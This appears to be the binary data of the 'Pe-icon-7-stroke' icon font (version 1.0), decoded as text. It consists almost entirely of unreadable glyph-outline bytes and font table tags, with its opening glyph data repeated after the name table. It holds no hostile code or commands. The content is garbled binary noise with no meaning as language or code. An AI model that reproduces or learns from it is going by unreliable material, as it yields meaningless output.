mS2Kd"#>7>54&'.#"3!267>54&'.#467>32#"&'.5"&'.5467>32#* ***** $#  #$ |#  #$  $S*  *****s$  $$  $b $$  $$ Oq"3:54&'.#!"3!267>=35##!"&=463!27#'573n    p*,usOBJ    KCF1E3z"3267>54&'.#2.'.'.5467>7>76&'0&14676&'.'.'#0#.'.5467>3>7>7>54&'.'4&'.'&476456&'&67>7>73#"&'.'*K K**K K*'D            D'          %$  K**K K**K D'!           !'D         U%7'735#!#3!K WW B4o4o WW B"EU#(%#5467>32354&'.#"#!5#!5!w ## ((<V4#4f"  """((f_5#7467>323467>323267>5##"&=1467>323467>323>54&'.'".'.#".'.#".'.#">7>32.'.# 3Z"!'          '!"Z3           ( T//T ( )"#[3       3[#")    .Q""Q. ^ $/>CGK#54&'.+"#3;267>535'46;2#51+"&51533# 'U V U   V x  x!    D  C!uz%'7''73267>7>76&/?'.'.#"'7'7.#"733267>7>76&'773267>7>54&'7'#*'?#&47>7>7>327'.7>7>7>32?#"&/#"&/7[ $54&'0&#'&"7*##35#"&'.5467>7'3267>54&'.#  hP'DG))G  !N,,N!!N,  Og ]U F')GG)' "*,N!!N,,N! &3#5''73'3267>54&'.#"3#"&54632qYHbPw    3   rYOd^      31Jc"3267>54&'.#"&'.5467>32#5"3267>54&'.#"&'.5467>32#74&'.#"73267>77'>7>5!467>32#"&'.5     2222++++ K**K # #    # " wD''DD''D'   x    2112,,,,x*K K*,#, +  + ,",&EE&'DD' 16;@EJOTY"3267>54&'.#"&'.5467>32#3#53#5'3#5!3#57'7'7'7'7..//((((ffff G G G GG G ^G G `/../((((oggfff G H G GvH G G G  '35!57''7!57#3"gԀ-xx>eggNN< (AT77'.'.'5#3267>54&'.'"&'.5467>32#75#35>54&'* !&CG))G %AA%%AA%   T* "" E')GG)%A%%AA%%App  $$   '#7'7#'7/37366666'nn+ c**nfhhfltPPGO = 2M3353#53#?'#5377>7>54&'.'>7>54&'.'3}~DDbfgf    7   wggeDhfUUYQSUe &' +* 7       11Lg%"3267>54&'.#"&'.5467>32#5">7>327.'.#5">7>327.'.#">7>327.'.#     ( %% (#C2 /?""?/ 2B$6' $12$ '5   x        , *+ ,D & #  # % *% %#'#337'#37'737'#}8eVOl8 MMOVS e8 MM 8lS 78 LMDW z7 ML 8X 3 0!!!!%3267>=35#3#"&'.=35#33fx((3 ## 3fwx));;"  ";;^w".'.#"3267>73267>54&'.#"'>7>54&'73267>54&'.#2#"&'.5467>3'"&'.5467>32#%"&'.5467>32#           U     D     T   ]   \  T     D    <3Oj"3267>54&'.#2#"&'.5467>3#"&'.=3267>75#"&'.=3267>75#"&'.=3267>7)GG))GG)(AA((AA(A((A %77% A((A %77% A((A %77%  ##  ##       /  D   /  /V  /  /7!:%'>7>54&'.#"3267>77%467>32#"&'.5t ;!";;"  t5445,t  ";;"!; t5544G c 1Jl%>7>'.'.#".'.#".'.#"3267>73267>73267>76&'.''2.'.'.'.'>7>3.'.'.'.'&454&5465<7>7>7>7>7.'.'>7>7.'.5'.'>77467>77>7>7.'.'<5<5'2.'.'>7>3>7>32.'.'&47"&'.'&67>7#"&'.'>7>7#7#"&'.'>7>7>7>7                     ^              P    E      W    >  U           (     |           " !     ! "  t                B    N    <    ^    P  ^   ^ 7!'!3#53#5^3"檪fxxkkgD+  %!7'7'!5#%!7'!3H \\ GxhH \\ GqH \\ GVH \\ G3)-%#"&'.5467>37'"3267>5#5D''DD&*J K**K oo&EE&'DU^]U J+*K K*@A>1m%4654&'.#".#"3!267>54&'.##!"&'.5467>?>7>327>7>320132#'"&'.5467>37'"3267>5##0%   %="  "      *    @@    0    % #"     )  <   %%    +'8ER_ly"/HUn{0&1%&!"3!267>54&'.##!"&5463!2%"32654&#4&#"32657"32654&#"32654&#4&#"3265'"32654&#2654&#"3"32654"32654&#'"32654&#2654&#"3"32654"32654&#'2654&#"37"32654&#"32654&#"32654"32654"32654&#"3267>54&'.#"&54632#"3267>54&'.#"&54632##  z z^kk^onn7        NUD     @3go33    "#    ""  27<E"32654"32654&#%#5##";35326=4&#%3#5#537#5##5!x  3  *^^^^gVV     DUUDDDDDxDffXh %'7%'7޼3޻kkkkkkk3 73#5#"&'.5467>753267>54&'.'^' D''D %+ K**K -" "3&EE&2"  &8*K K* 9& 3) %5##!#'3#53#5##53#5353353!54&'.#"&'.5467>32###33535#,N!!N,,N!!N,)GG))GG) vvww!N,,N!!N,,N!gG))GG))GDwvvf- '-x4u*'I/?>?'77>7>323''?06?7'7>'&"#"'e]T-O   O'-VN'aZ _V'VUe[d(UV,'O  P,OWYU`VU'We $5!3!#!!#!!o;;o*oWEE34Ex',7<#";267>54&'.#+"&=35#3#546;23#5q    44bKOO`"=jot''&"326?.#"01"1023267>7>76&'7'>7>753461425263>7>32'7'7D    A  ' & Ve,e,,,DP  B ' % ee,e,E,,+  77'%'7LVwFG;іE4уw/KPm54&'.#!"#"372#35#54&'.+1#"&=46;3!267>=35##53#!"&'.=467>3!2    "U"   33       ;  ;;  ;   w]  F  F3-=#"3!#'53#3753!"5467>3"&'.5467>3!! T*.Xw?;    D  '(56   M<..#"5!!#7>54&'!337#57>32  KDLM#A KL  "%X Xh 7'577'5hkkkk+ ):?DINS#03:3:3267>541!"&=3+%#!>7>5!3#53#53#57#35#53f  U45c /U b "r  ig zs  "   bD<怀o^^+  -6O3#53#53#5%4&'.'*#"326764=7'5#"&5467>;1+3w1ee#  % 5WLM (    # A     3;Tm.'.#"3267>517.'.#"3267>5<51"&'.5467>32#%"&'.5467>32#              d   X   '?    ^     1;EU5467>7>=#3267>=4&'.'#5#467>7#5"&'.=3#    +//+ff%%fo((W  **  ,..,| w&&w 'bb'1Jc|"3267>54&'.#"&'.5467>32#%"3267>54&'.#"&'.5467>32#'"3267>54&'.#"&'.5467>32#3                       U    U  U    U  U    + $J3267>7#"&'.5467>773267>7#"&'.5467>71 J*   %3)I %/#<"O-&E' $'C    *I  &  H*2% & (D%-O"=$ D&" " %!3#35#53!!D;;Ufq3DD"o5]%267>=4&'.#"3467>32#"&'.=#"&'.=###35#5#>7>=##  #"  "M   //2ML2z ""  ""   UU..UU4UU4U3Oq !5!!5!!5!7!!5!5!7!!53fxwfxfxqDD3""DD3""DD3""+ !'1'77'7'77'q ^fooffodUUfUUgUUfUU/388448f3*@+**A+**@+**A+U3Oi2'.'.5467>3267>54&'.#"35">7>54&'.#1"&'.5467>32#1 88     #>  >#   8    8     >$      $>  +Xh  !!#"/!57326?!%'7gfoo n//n{oohoom//m oo+ #,1'.#"!'%762'.#"'71571762!%'7Ժr{-.{ fopc {qq {..z np{ pq +).5>CHMR'.#"#!'5'62#7'.#"'537'751571762!%'7%3#53#553#5Ժ)=UBBTJ3(-.':C po {qqxxxxVV (>UBB-4(..':B -pn pqmf3D #(G#"&'.=#3267>=##53!#53"&'.=33267>=3#V  fD''DfUDDDDg#>D && D>#  &EE&3333x>#%%#>qO@w7"&'.5467>321#35#'#.'.#"3267>7'#%">7>32#"&'.'1'33267>54&'.#G #  #  "<!  ((     "    #  # 9 8  ((3  ##  !<! ((       ##  8 8 ((Fz1Jc|"3267>7.'.#"&'.'>7>32#5"3267>54&'.#"&'.5467>32#5"3267>54&'.#"&'.5467>32##@>"7E++J 56 J*&>299%B22B&%%%%         z9$8571!210%%%%       g  U#(%54&'.#"#!5#'467>32#5!5!o((<V< ## 4f((ff"  "ffw7F375#3#'553##'3"3267>=4&'.##"&=4632;x;;VVXV/--     3gfg3"""^'QM^ "  " <""+ 2m%"&'.'7326?>54&/.#"'7>32#"&'./.546?>32'.#"3267>?#   k    L L   k k      k     H H  l    K K   l    k   l   G G +!&N2'.'.5467>32>7>35".'.#"7>7>54&'.#1^%  %    +  +%    %     +    +U/4A4&'.#"1202135467>71>7>553#"&54632#8##5>7>54&'.#"#54&'.'041"4#04#.'.5467>32>##>    ff3  \*    * 8 8 -#>>#'    xx    '33"   j "    "  # 88 # + 16"3267>54&'.#"&'.5467>32#'3#5,N!!N,,N!!N,)GG))GG)n!N,,N!!N,,N!gG))GG))G<1Jc|+D]v7"3267>54&'.#"&'.5467>32#"3267>54&'.#"&'.5467>32#"3267>54&'.#"&'.5467>32#"3267>54&'.#"&'.5467>32#"3267>54&'.#"&'.5467>32#"3267>54&'.#"&'.5467>32#"3267>54&'.#"&'.5467>32#267>54&'.#"352#"&'.5467>3"3267>54&'.#"&'.5467>32#o                                                                 U    w  U    ;    V    <  U    w  U    ;    V    <  U      U        V    +Oq .9H%''77'7!3;267>?>7>5735+"&/!7#!"&='!? 33 34 33 4V    S >1  p 33 33 33 3"    "   + #<U267>54&'.#"35#3#35#"3267>54&'.#"&'.5467>32#    3E,N!!N,,N!!N,)GG))GG).    #;!N,,N!!N,,N!gG))GG))G*  #5#77'3535335'#5##57UE< ֈ""xDx"UfUU"f< D""Dww̚ww 32M\x"3267>54&'.#"&'.5467>312#?'>7>54&'.'7.'.'7'.'.#1"'>7>32'>7>7.'.5467>77.'.'7381267>7#"&'.'7'>7>7*K K**K K*#  ##  #fA@8@ +  I+    +     + @  CA@@  *  I,    +     *  @   K**K K**K  ##  ## +     +    :+ @ B@@@ + I+    +     + ?  CAA ? +  + 1dq"3267>54&'.#"&'.5467>32#"3467>323467>7>7>54&'.#"32654&#,N!!N,,N!!N,)GG))GG)          !N,,N!!N,,N!gG))GG))G4             +%#####5##5#1!5UUUUwff3 !!''!5777!3fqMU32x54UMmfJ=x":?="v=r""&#"'>54&'.#".#"3267>54&'.'732673267>54&'.'7:3267>54&'.#"&'.5467>32#7"&'.5467>32#"&'.5467>32#"&'.5467>32# P Q V  V P P              o      C    C     3        w    "    + (1FU%4&'.'1#13267>7178175>7>5'5"&'.5467>7#7'7 K**K !N,  "4" )GD'p  uh +L""L+,N! &2OC*G)'F Ǥ 'C-# + *9GUdx':81818#"32018181267>54&'.#267>7#5=#'"&'.'>7>7#467>73#>7>7.'.'3;".'.5.'.'>7>352=3.'.#73.'.'>7>554&'.'>7>7#7.'.''.'.'>7>7>7>7.'.'>7>7,M!!M,,N!!N, LM ^]  ]M ML]^  ^&           ^           !N,,N!!N,,N!   M\ \\ mM   M        M   ^\ \\ mM   M            6        6    f 37#773#7,aaqqճ<"uKMf%#.'.#"'&".'.#"#";3267>5<573267>732654&#"&'.5467>32#!"&'.5467>32#$"  "$$''$  !  !!  !  "      "" ' ' "g        3)26Ohqv{>7>54&'.#".'.#"#!##537'3'#772#"&'.5467>3467>32#"&'.573#533#553#i        ddS *%  <     H%* ųF      DH@"V  3   E@H31$4?#54&'.+"3!267>=4&'.#%46;232!5!"&=!# V  V   V  g x d         <  f$+[0#"&'.'.'.#"35>32326?5#"&'.'.'.#"5>323267>7 +$     %     &.                " %#5'!'357!3fUD˛k '#!1'#533!*qqwf yqqx3#5#357'737355#35#7'#35#z zcz zzczz zccz zz zczcznz z3 735#73#5%35#37%35!#333l~ }x3~ ~bͼ<4Pi4&'.#"3>7>5"&'.5467>32##3267>54&'.'"&'.5467>32#75#35>7>54&'.'"&'.5467>32#   *                       #    #  D    恁D    ^"C%4&5'113267>54&'.'"&'.5467>7041701#x;"";5}}5"   !;;!   4    4+Oq*#!5'3##"&'.5#7!533267>73x^]M   N4xy   yqffU   U   U=7'#73!35#! WW B4ooV WW B"E  $).38!33#!5#5335!!'#35#53;#553#53#5!!5!!54"""3fffDD4wwwwww++3"ggVEEV+^3" 7P%!377'53!!''777'"3267>54&'.#"&'.5467>32#DPQQPUf3"5'0$7/]       u3!----!"GBkdbGL$    V    3 #!!'#53!33533#53#53#5wV"gV LwfDVxxxLV4433 '\!!!5!!!3#5;#5#335#"735#37>32#"&'.=#3267>54&'.#3fxxom !d 8F      fMM^_(H      2@P]0"+1!*1"5#35#5>7>57>54&'.#'.546320313#"&'.=!75320321 K2DD2K ? 2//P?2   K33K  m? \//ooR?\   #(3'3#!5#%7!3#33#33#33#33#D>""33D33D33D44E33nn+%7'!5##3!3535#!! 33"DDX 3344Fz!,7<AR!"3!267>54&'.#!!5#!"&=!%5463!2!3#553#5326=4&+"3f    ^VfVV"ff3" " z    E""3D   B "'##!53'#533##55'#533#WhhW>>V>>VVEVVjVEE%>>>iYVR>>V4V+ Xq73#'#5'.'./'7'.'./#537>7>?'77>7>?53267>54&'.#"3#'#3735>7>77'>7>735#.'.'7'.'.'51"&'.5467>32#1    $,-!$!    4    !$!-,$    4  +V  !54&'.#"3267>54&'.''2#"&'.5467>3"&'.5467>32#'?77'7  %? K**K ?%     'DD''DD'fBAJ+R'8,R&  $E&+J J+&E$6    DD''DD''DUBAw,'S ,&R3-3@MZ!";53267>=4&'.#+'#"&=463!2'"32654"32654&##"32654&#  C#   4+ V   D      DD   ,,  ހ       <%).38%35!3267>753#5"&'.=!#!5!3#5;#5'3#5Dx;" :335"5DUE";8 xgg5oo5"MMMMff>;n20132+!"&'.5467>?>7>327>7>35".#"3!267>54&'.#4654&'.#1*       %   %="  "0q)          % #" 0317"3267>54&'.#"&'.5467>32#5#35#*K K**K K*'DD''DD'fw K**K K**K wD''DD''D+ 1H"3267>54&'.#"&'.5467>32#'&"326?64'&",N!!N,,N!!N,)GG))GG)k0 9 !N,,N!!N,,N!gG))GG))G0 9 +  5!333535#5!###'#5!UրD *o*75DDUoU776Ohm!'#33267>54&'33267>54&'.#1#'37#"&'.5467>323#"&'.5467>32/!#PCS  x  E        )J:Fx       "        ^+>+Haz#'0"9.+"1#"3!267>=4&'.##!"&=46;77>;232'"3267>54&'.#"&'.5467>32#5"3267>54&'.#"&'.5467>32#F) U (H  f    OU.N ((((#  ##  #       O)(      . (((( ##  ##        3L"&'.'.'.5467>?>32367>13>321#"3267>76&'.'.#"'"&'.'.'.7>7>?64'.'.#w0?*       7     (=+  4! ;(&@.   C     )" %   +>%'9   # $)   B f &7>ELSZaho35#73#57#";267>54&'.#+"&546;2'5#35#5#35#5#35#75#35#35#35#5#35#5#35#35#35#       D"D"D3D3DwD"D3D>DD3""<   V  V 3DU3DV4E3D3DU3DV4E+  !!!5!!!!!5#3#5;#5+Vxxx^E#VDDx3o '7'''77 QTSS;JJ+HHHHJJ3  /@!3!35!!!5!3267>=4&'.+"3'46;2+"&=fx"Vx|  |   | | ooMM    %+5FW#".+";201235154630213267>54&'.#46;2+"&5!+"&546;2                    " "   " SmKU^|"'35##'35#01.'.#"3267>7326?3267>54&'.#'#.'.'7#7"&'.5467>32;#7'3"&'.5467>77'>32# * <9$ #  #! FN  ##  #>3@ L &O >G  $$  S"&? #"  4  "  "# &{  6{6 V  C [{{[   HG  30>%54&'.'54&+"!5'!575467>32267>5#3,  ,<<+</.< V 0   000;1..1M qOCQ;5#"#"&=46;%4&'.#54&'.+32+3267>=267>552#  "    3  6  ^ #  # "D  + &@N\v"3267>54&'.##>7>7'2#4&'.'>7>3#>7>73.'.'"&'.'>7>53#7.'.53,N!!N,,N!!N,ę #    4   `  #d #    4   `  #!N,,N!!N,,N!+' #0),,)'+0# *' "0),,)'*0" +>#3.'.+'77524&'.'5,E43;4 YOaF;(Epp!U 0+P%&6V !!3#5"32654&#n  p"]ww >W%'7>7>54&'.#".'.'7'73267>77467>32#"&'.5"L2 3    3 .L" $;! :$   XF+3     *F220-*    !!!!!!57!!54Vgx"DhU3g"+ *COZfrx"73267>77'>7>54&'.#"&'.5467>32##"3755467>;17#354&'.#1'132#35#'D , + $$ *, D'#??##>>#M3 pf "3p Df" ^pE'" 5 4  4 6 "'E>#$>>$#> 3pf" p3 wf "x3- !3!'37#%#'#5!fX4Xtt033xfff<<aA 77'7' UT TT TU TA TT TT TT U+ 1=3267>54&'.#"#"&'.5467>32'77'7'iO))OO))O"H&&HH&&H UT TT TU TwO))OO))OH&&HH&&H TT TT TT U`'77' ` TT 0 ` UT 0* 19%267>54&'.#"32#"&'.5467>3'77',N""N,-M""M-(HH()GG) a UT 0 !N,,N""N,,N!G)(HH()G ` UT 0?@%7'73 a TT 1 ` TT 0* 1973267>54&'.#"!#"&'.5467>327'7*"M-,N""N,-M"H()GG)(H a TT 1,N!!N,,N""N,(HH()GG) a UT 0-@77'7' ` TT 0 ` TT 0* 19%4&'.#"3267>5!467>32#"&'.577'7'"N,-M""M-,N"fG)(HH()G ` TT 0,N""N,,N!!N,)GG)(HH( ` TT 0`77'' ` TT 0 a UT 0* 19"3267>54&'.#"&'.5467>32#'7''-M""M-,N""N,)GG)(HH( a UT 1"N,,N!!N,,N"fH()GG)(H a UT 06 y7'7'#57<54&'.#".#";5#"&'.5467>?>7>327>7>320132+3267>54&'.# ML 881$   %oo      * xx"  # LL 77i1   %     *   ##  y%'75377<54&'.#".#";5#"&'.5467>?>7>327>7>320132+3267>54&'.#A LM 88b0$    &oo      * xx"  "J LL 881   %     *   "#  A16<DLQV[`"3267>54&'.#"&'.5467>32#'!5!!5!!5#!5#!5#!5#3#53#5%3#53#5       mqIJ2222 22224  T    8("  5'7'7577'57'wf lq kyu^^bbf lq kyu^^bba"',37'#5##3#33535#5'5!!!'7!%3#53#5u33uv22v$$$$TTTT+<:""v;;vT)+2T**u  !&+3#53#553#5'5##!##53'3#53#5!!7.'.'"&5467>5>76&'4"14676&'.'#0"#3581025>7>7>54&'.'5'0&'<14656&'467>73101213<54&' uuuuSSC""m        e233q""2TT2""K                %/:S#7'7'.#"723267>5<57'.'.'7/77"&'.5467>32#5 0wY4>^D4_w_K GK0 6Y....3`5 0kwZ4>`E4`__L GsM1 5B.--.q1|73267>54&'.#"72#"&'.5467>37'#"&'.5467>77'"3>7>323.'.#5267>72:!!::!!:4444_   (F '* J)  #     #     !::!!;;!4444.F(3$ . (8*K#  5Pk#935151511'#53717>7>54&'.'7>7>54&'.'7>7>54&'.'{_`zdTTd8    D   4     bLKaabNNvP?v         =  $$  "&(#7 -32, .56/0w73:3:130233:3:13023:3265<54&'.'.'"&5467>7>76&'<1&676&'.'.+"0.'.'&45467>7>76&'041&676&'.'.+"01#467>7>7>54&'./.'&6715061516&'&67>7>731!5'467>7>7>54&'.5/.'&4=3<1536&'467>7>739#5H Z  Z                               u                                    **        i"3267>54&'.#>7>7>7>='"&#"&'>7>737>7>321#"#"&'.'7.5<1063267>7.'.51.'.#"#3210.'.5467>32)J J)*I I*n             9         9C&'C I**II**I!            !   !  &&CC&& 1:%4&'.#"3267>5!467>32#"&'.5%7'735!M+,L!!L,+M!mF((FF((F ff Q+M!!M++M!!M+(FF((FF( ff RIw1Z%4&'.#"3267>5"&'.5467>32##32+3267>54&'.#.77771111ɀe11e 77 777711111177Gw\g7'.'>7>'.'.3267#.'.'.7>7>73#3534&15#.'.5#35#'7'>%.'&67>76&'&'.'&67>763#5;#5!3#5!3#5j-     (D     N262E3$        332233P22OKB     :          Pg  D    f    ]7<AFLQW"#33267>54&'.#"&'.'35#>7>32#5#3=#37!!#531!!!!1     ::     \~,        3C2Cv?~`1:7267>54&'.#"32#"&'.5467>37'#3+M!!M+,L!!L,(FF((FF( ff Q!M++M!!M++M!F((FF((F ff RJZd%1"1#"&'.5&6777>?7'7''7''326?>327.#"'7#"&'.5467'7- !   / 0H G0G G/ 0 ''  !" 0v/       0 /G G0G H0 / &&  /v0  v  .Y3:377'7'..'.'645./?117>76.7>?'1.'./#"#"&'& z z#",`Y3  ," ; ,"#z z & aM*3(>7>312#"&'./1'.'.5467>7>7>32'.#"3267>7>54&/.'.#"'.'.5467>7"      cv                    dv                 >S73#53#53#5.'.#"#!#5467>32#>7>?!33.'.'53eɆ   S       CC.  L&         n"'%5#535#3##35#53#35#'3#5#533#53GuKLuLLLL놆**ۇ''5#9373717717537#31'515 r{`?k vc~Ud{>V s r]bLKk vduP? zNC Z`l.'AZs>7>=#3267>54&'.''53353.'.#".5"&'.5467>32#5"3267>54&'.#"&'.5467>32#  77 ST     \1111$$%  %   " AA # )77) w0ss0D%J|1111 %$$%    S%4&'.+>7>54&'.#"#*132;267>54&'>7>54&'>7>54&'>7>5#32+32+32+1#"&'.'.+5:3:3267>7>7>54632134132#      9[     &o J    g<   N           & !*E  1:"3267>54&'.#"&'.5467>32#'7'35#,L!!L,+M!!M+(FF((FF( ff R!M++M!!M++M!mF((FF((F ff R%I3#54&'.#"357'57'>7>5#5'.'.5467>32m~++ T*) Q $$2    %%   CC2++";!**"^##/1 %  % h"5467>;267>7#+"189.'.#"381267>7>7>3:3:1:323812654&'.#9"&'.'.'.+"#9"&5467>323267>7>7>32#%##33535#7"3267>54&'.#"&54632#7"3267>54&'.#"&54632#\    #  %   )/        /) F     2     #       #""""    C        & #  L23  32L  %0FF0%!""    "    " 0 #(-26:!!#535#535#535#53#3#535#535#535#537'5\C22222222 C33333333uuCC`CCSDDTDDTCC>_CCSDDTDDTCCDD''N1f l7267>54&'.#"352#"&'.5467>3>54&'.#181"813267>7465'0010101'>54&'.#818101*#81'>7>71>7>783>3:1263:3263:3201201"1"#0#'>70"1"#"*#"*1"#0#**1*#"&'.'<5<5<7<1467>781>7>781813267*1'#"&'.5467>32      !M+7&!L,'F%d   T   $A"- 8dT'D  S 8        C    3 +M!(   +M!A%<  S <#qh= :C&  S   h     0h%.'.'.5467>7>76&'<#4676&'.'.+""#3:3:13023:3265<54&'!5467>7>7>54&'.'5'.'&65>5156&'&67>7>731211?''77,            Y  Y         G, ,, ,, ,,               C*         *+ ,, +, ,, 1:73267>54&'.#"!#"&'.5467>327'5#!L,+M!!M+,L!F((FF((F ff R+M!!M++M!!M+(FF((FF( ff R0h%.'.'.5467>7>76&'<#4676&'.'.+""#3:3:13023:3265<54&'!5467>7>7>54&'.'5'.'&65>5156&'&67>7>73121175##33535,            Y  Y         CCCC              C*         *CCCC '@Yr!!3#!!'267>54&'.#"32#"&'.5467>3267>54&'.#"352#"&'.5467>3#"&546323++o!;;!";;"4444       fxx;"";;"";35555  U    " 29HW735#3.'.#">7#3757>7>54&'.'5#73>7>32''7g0D'0&-2* :*<7;:   O$)*#=g0(E0  9<6;+9 *3.& #**$-C!!570513830292.'.#"0+81'7526324&'.'3!UͫUE2 (! {{4E/- '@t:m %-SS x/M &!3$   )6CP]jw'.#"326764''7'77'789'#"&54632#"&54632'#"&54632#"&54632#"&54632#"&54632'#"&54632#"&54632llLmal`tlgmhllll0T00U1\llLlam`slglgmllm0 00 1 -%>K7"3267>54&'.#"&54632#%"3267>54&'.#"&54632#7'.'.+"#333267>=33267>=354&'.'535#%>7>;2!7#"&'.=3!#"&'.=37!5467>3!2^            # <7    7;     34  4g U     4   4    4   xD  D ww  ?RQ    ff   '#'+7#'3'#7'353ddUVYWmWTe5xx ffggdddu 1Mm"3267>54&'.#"&'.5467>32#74&'.#"3'>7>5#?'.'.5467>32,N""N,,N""N,(HH()GG)E   $# Y      !N,,N!!N,,N!gG))GG))G   ff  O      P1Gc.'.#"'73267>?7'7>56&'#"&'.'.546?7'7>7>32  =# ) $ $    & !=    AM=    =># (  # #' "=    AL>    =#/T7>54&'.'.#"3#33535#5267>7'>7>32#"&'.'.5467       EEDD            66  66 EDDE  /0 /0Fz!&+0%#5#5##5###3335335353553##33#37#5324DE3443ED42E""U""""4##f++ff++fg++ %'7'777''7/7''7 ^ ] y``*sar`=`_ ^ ^ yaa+r`r`aaVdiw%4&'.#"33151"5467>32.'.+32675#35>7>7>7>5<515.'.5467>7#5375"N,,N" % H()G      VU&  33f ,M""M,W& &(HH(&   3   W   F   HWp%5#4&'.'7'.'.'5#'#3735>7>77'>7>53'#.'.'7"&'.5467>32#7.'.#5'"'>7>7#>7>73.'.573.'.'5267>77'>7>73< * *    + + << * *  ! + + >MfI    sJ   {J  vIf +fH 7H   { H  vHf   + + :: + +  ! + + =< + +   H  <  Ii -hI 9H   | H  tGf ,fH 8G   +&6F535!3#!5#54&'.'>7>5#5467>7'.'.=3,+ "! ++, !"  ## Z#  #?ee    XX    XX   q  ee  ?%4&'.'35>7>557'5#'.'.5467>700--6 *, 8'++'+K !::! K+(5^^5(B6 *Q, 8."%B55B%". "'?'3#5;#53#553#5'7'7/7 DDEEDi0 0 0 0 1 0  EDDDD+1 1 1 1 0 0 &?7.'.#"3267>54&'.'77"&'.5467>32#  555 )[//..555  (/../#(AJO%'5>7>54&'.#"'77557467>32#"&'.5'5357573     3wff#  fw33wffh     ^88DDD)*B   EKB<33,B'!!7'5815#*1">7>31021021358=!3>7>3:7ޫU{{ !( 13' ./DQt@w:SSS-%  hg $3 ' M.(8Ng%1'54&'.#"3267>?3'%467>325#"&/.546?357#.103267>5&4'"&'.5<59>7>7#f F`    zi4  EĀ  aG34   6    kG `{5  DZ̀`  l}#IJ#   .     */45##;267>5#'3#5+"&'.533#5;#53 3xgg  ͉4>  wwwt  s++++ 1J!!77!5!5!5''5!'267>54&'.#"352#"&'.5467>3Uxv7.#&"'>54&'.#".'.5467>7'3267>?33:3>3326?>764/>7>73267>=.'.#%467>32.'.5+#"&/#*'./#*/.'&4?'.'.5467>3:27>7>732'#"&'.5467>32                                 ^           B&       ^                                         4        8 $1j"3267>54&'.#"&'.5467>32#7>54&'.#"'>54&'.#".'.#"75''73267>54&'73267>73267>77#"&'.5467>32'2#"&'.5467>32#"&'.5467>3'557            &          ɼ       UF  D    <      bcjV     U|    L    3    LWXWX!?C%7'>7>54&'.#2'7%467>7735"&'.57'7Hz0  K*'D+ 8C 4z'  J+'D\ 8B}0  +J D'   -iD:   5})#+J D'D: U1MQajoty"3267>54&'.#"&'.5467>32#<5<54&'.'!'#73#5467>77#<5<53#5;#5#3#5       U  UUU11  11^+Vi  E    s0" )$ $* #0jkZ??" "?? aUU3333 HR\fpz%75'.'.'7'.'./#'737>7>77'>7>774654&5'.'.'7'3"&#"#77'57''7#'239263'"&'.5467>7>7>312#7'>7>7DD&'3 @ 5'%DD&'3 @  4''333N&"  ':33N%"   8  8  '@ 3'&DD%'5 @ 4''DD&'6 8!  &:33N&"  &;33D8  8   ( D%10>7>5<1'.'.=7'77'7'>*+=6&%7 33 33 33 3.((.(% %(؃ 43 44 34 41Vo"3267>54&'.#"&'.5467>32#7&#"&'.'.3267>76&''#"&'.5467>323#"&'.5467>32+J J+*K K*'DD''DD'j  !!         J++J J++J wD''DD''D   \        Vc|#357'7'.=>7>54&'.#"3267>54&'.'57>=354632#"&5#"&'.5467>323#5;; ## 6    C   G        +z;) : :: 6 (    ( C0  vG );g      ^hm.'.#"73267>54&'.#"'.#"3267>74&'77'.'&677'>7>327''7>32#"&'&47#"&'.5467>327'7'7     A    R*T   A ***+     +))Or B A    Q*T    A63***45)  ))+ x)41'7'77>?357'#"&'.'.'37!.7>?YIH II530)g/0$5 NZ34HH IH0) $6# N>s_< Вd~Вd~3++3UU^+3<*3<7G^+3+"33+fx+/3<++3+"o3+U+++DU++U+<++*3++3++f33f"k33<^+U"33 +B+33<3+++3f+3+3++ +3+****ar.#+VE ~ 2nJt @ j  J | z r .P6N@JlVpFZjv ` !!""#4%&&&((()*4*,|,-N..^.//$/\/0t011>12 2F23L334:4t56J6778 8z89D:0;;;< ">?^??@L@vA$ALAfAAB4BHBBCC"C|D$DEZEEFG\HHJKLLMNNlOOPPPQQ Pe-icon-7-strokeRegularVersion 1.0 Pe-icon-7-stroke 0OS/2"`cmapU LgasphglyfƳ>pheadE d6hheaݜ$hmtx} ~8locabmaxp namevͫpostP LfGLf@  8  7979793,1Jc#54&'.#!"3!2654&#%!2!5467>3!!'3267>54&'.#"3#"&'.5467>328bxx  D    W/+E//"ޑ      + '@35#7'#537'"3267>54&'.#"&'.5467>32#F::FR"<<,N!!N,,N!!N,)GG))GG) V:: v!4!N,,N!!N,,N!gG))GG))G+ )D_35#7'#5377>7>54&'.'>7>54&'.''>7>54&'.'"&'.5467>327.'.#"3267>7'#F::FR"<<    )    )Y)GG)& "*,N!!N,*" & V:: v!4`    ""               G))G !N,,N! mS2Kd"#>7>54&'.#"3!267>54&'.#467>32#"&'.5"&'.5467>32#* ***** $#  #$ |#  #$  $S*  *****s$  $$  $b $$  $$ Oq"3:54&'.#!"3!267>=35##!"&=463!27#'573n    p*,usOBJ    KCF1E3z"3267>54&'.#2.'.'.5467>7>76&'0&14676&'.'.'#0#.'.5467>3>7>7>54&'.'4&'.'&476456&'&67>7>73#"&'.'*K K**K K*'D            D'          %$  K**K K**K D'!           !'D         U%7'735#!#3!K WW B4o4o WW B"EU#(%#5467>32354&'.#"#!5#!5!w ## ((<V4#4f"  """((f_5#7467>323467>323267>5##"&=1467>323467>323>54&'.'".'.#".'.#".'.#">7>32.'.# 3Z"!'          '!"Z3           ( T//T ( )"#[3       3[#")    .Q""Q. ^ $/>CGK#54&'.+"#3;267>535'46;2#51+"&51533# 'U V U   V x  x!    D  C!uz%'7''73267>7>76&/?'.'.#"'7'7.#"733267>7>76&'773267>7>54&'7'#*'?#&47>7>7>327'.7>7>7>32?#"&/#"&/7[ $54&'0&#'&"7*##35#"&'.5467>7'3267>54&'.#  hP'DG))G  !N,,N!!N,  Og ]U F')GG)' "*,N!!N,,N! &3#5''73'3267>54&'.#"3#"&54632qYHbPw    3   rYOd^      31Jc"3267>54&'.#"&'.5467>32#5"3267>54&'.#"&'.5467>32#74&'.#"73267>77'>7>5!467>32#"&'.5     2222++++ K**K # #    # " wD''DD''D'   x    2112,,,,x*K K*,#, +  + ,",&EE&'DD' 16;@EJOTY"3267>54&'.#"&'.5467>32#3#53#5'3#5!3#57'7'7'7'7..//((((ffff G G G GG G ^G G `/../((((oggfff G H G GvH G G G  '35!57''7!57#3"gԀ-xx>eggNN< (AT77'.'.'5#3267>54&'.'"&'.5467>32#75#35>54&'* !&CG))G %AA%%AA%   T* "" E')GG)%A%%AA%%App  $$   '#7'7#'7/37366666'nn+ c**nfhhfltPPGO = 2M3353#53#?'#5377>7>54&'.'>7>54&'.'3}~DDbfgf    7   wggeDhfUUYQSUe &' +* 